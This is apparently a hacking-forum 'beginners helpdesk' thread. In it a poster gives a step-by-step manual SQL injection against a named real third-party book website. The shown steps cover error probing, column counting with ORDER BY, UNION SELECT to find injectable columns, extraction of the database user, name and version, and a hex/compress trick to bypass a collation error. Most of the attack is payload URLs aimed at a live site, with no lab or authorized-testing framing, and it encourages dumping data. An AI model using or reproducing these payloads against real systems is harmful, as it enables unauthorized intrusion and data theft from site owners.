Spirit's Beginners Hacking Helpdesk[Ask Your Questions Here]

But how can you make tool 😊 without knowing how the things really work in the backend.

Suppose you are making tool for XSS(Cross site scripting) 🙂 what if you don't know the different types of XSS(Cross site scripting) and how it works (you can just paste different payloads from the internet)
but it will be useless 😉 Hope you understand, their can be many examples

Do you need to ask any thing more?
Thanks 🤝

Sure let me help you👍
Target::

PHP Code 


<?php 
http://www.romanianwriters.ro/book.php?id=99 

So, lets start our SQL injection

lets try to get an error
by using single quote:- " ' "

PHP Code 


<?php 
http://www.romanianwriters.ro/book.php?id=99' {Error} 

Lets try to balance it using " -- - "

PHP Code 


<?php 
http://www.romanianwriters.ro/book.php?id=99 -- -  {No-Error} 

Lets find the total no. of columns using order by clause

PHP Code 

<?php 
http://www.romanianwriters.ro/book.php?id=99+ORDER+BY+1-- - {No-Error}

http://www.romanianwriters.ro/book.php?id=99+ORDER+BY+3-- - {No-Error}

http://www.romanianwriters.ro/book.php?id=99+ORDER+BY+4-- - {Error}

Means their are 3 total no.. of columns now lets check which column is vulnerable using u nion s elect statement

PHP Code 


<?php 
http://www.romanianwriters.ro/book.php?id=99+and+0+U NION+S ELECT+1,2,3-- - 

So, column 2 and 3 are vulnerable

[Image: KJMWNTi.png]

So lets try our final query :- You can't understand this portion now because may be you are new i will say check those links that i provided you in my previous comment/post.

PHP Code 


<?php 
http://www.romanianwriters.ro/book.php?id=99+and+0+U NION+S ELECT+1,2,C ONCAT (0x203a20,U SER ( ),D ATABASE ( ),V ERSION ( ) )-- - 

Done thanks 🤝

[align=center][b]Check these thread 👍

[Image: ma9LeWX.png]

==>[Mega Tutorial Links]SQL-Injection all tutorials by Spirit<==

==>[Mega Tutorial Links]A huge Tutorial collection for hackers/Pentesters<==

==>An ultimate reference for all Beginners Hackers<==

thanks 🤝

No, i was online thats why i done it 🙂 and you can dump it but as i can see you were not even able to inject it so i will recommend you to check this 👍

[Image: ma9LeWX.png]

Oks actually its easy probably you were not able to inject it due to illegal mix union

But we can bypass it using

PHP Code 


<?php 
1.unhex(hex(String to use))
2.uncompress(compress(String to use))
etc. 

So, here is your query 👍

PHP Code 


<?php 
https://ghostbin.com/paste/dv8r7 

If you need to ask any thing else then you can ask here 🎉

Thanks 🤝